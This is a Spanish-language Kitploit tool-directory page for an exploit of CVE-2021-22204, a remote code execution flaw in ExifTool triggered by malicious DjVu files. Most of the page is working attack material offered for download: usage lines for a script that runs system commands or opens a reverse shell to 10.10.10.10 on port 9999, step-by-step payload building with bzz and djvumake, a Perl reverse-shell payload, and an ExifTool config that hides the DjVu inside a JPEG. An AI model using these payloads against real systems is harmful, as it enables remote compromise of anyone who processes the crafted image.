Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/assassinukg/cve-2021-22204
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubassassinukg/cve-2021-22204

CVE-2021-22204

Script de exploit para CVE-2021-22204, un RCE de ExifTool mediante archivos DjVu maliciosos, con pasos de explotación manual y cargas útiles de shell inversa.

Ver Repositorio
2792hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-22204

Descripción

La neutralización incorrecta de datos del usuario en el formato de archivo DjVu en ExifTool versiones 7.44 y posteriores permite la ejecución de código arbitrario al analizar la imagen maliciosa.

Script

Enlace del script

image

Uso del script:

Comando del sistema:

root@kitploit:~
bash CVE-2021-2204.sh "system('id')" happy.jpg 

Shell inversa

root@kitploit:~
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg

*Tu IP y PUERTO

Explotación manual

root@kitploit:~
$ sudo apt install djvulibre-bin
# Instala las herramientas necesarias
 
$ bzz payload payload.bzz
# Comprime nuestro archivo de payload para que no sea legible por humanos
 
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Cualquier cosa en el formato 'N,N' donde N es un número
# BGjp = Espera una imagen JPEG, pero podemos usar /dev/null para no usar nada como imagen de fondo
# ANTz = Escribirá el bloque de anotaciones comprimido con el archivo de entrada

Payload

root@kitploit:~
(metadata "\c${system('id')};")

Payload (para reversehell)

root@kitploit:~
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

Luego, cuando la víctima abra el archivo exploit.djvu con una versión vulnerable de Exiftool, nuestro código Perl incrustado ejecutará el comando id .

Archivo de configuración para Exiftool

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # Todas las etiquetas EXIF se añaden a la tabla Main, y WriteGroup se usa para
    # especificar dónde se escribe la etiqueta (por defecto es ExifIFD si no se especifica):
    'Image::ExifTool::Exif::Main' => {
        # Ejemplo 1. EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # añadir más etiquetas EXIF definidas por el usuario aquí...
    },
);
1; #end%

Lo que hace este archivo es permitirnos escribir una nueva etiqueta en el archivo, con el nombre HasselbladExif y los bytes 0xc51b para identificarla dentro de nuestro nuevo archivo. Luego podemos insertarla dentro de cualquier archivo. [8]Después, usarla junto con nuestro exploit.djvu ya creado para insertar el archivo DjVu malicioso dentro de un JPEG válido.

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

configfile = El nombre de nuestro archivo de configuración;
-HasselbladExif = Nombre de la etiqueta especificada en el archivo de configuración;
exploit.djvu = Nuestro exploit, previamente creado con djvumake;
hacker.jpg = Un archivo JPEG válido;

Créditos y ayuda: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/

Descargar herramienta